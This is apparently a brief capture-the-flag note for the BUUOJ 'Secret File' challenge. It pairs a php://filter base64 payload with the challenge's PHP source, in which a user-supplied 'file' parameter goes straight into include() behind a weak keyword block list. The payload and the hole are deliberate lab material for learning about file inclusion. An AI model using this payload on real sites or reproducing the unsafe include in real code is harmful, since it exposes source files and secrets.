BUUOJ [极客大挑战 2019]Secret File
?file=php://filter/convert.base64-encode/resource=
<html> <title>secret</title> <meta charset="UTF-8"> <?php highlight_file(__FILE__); error_reporting(0); $file=$_GET['file']; if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){ echo "Oh no!"; exit(); } include($file); //flag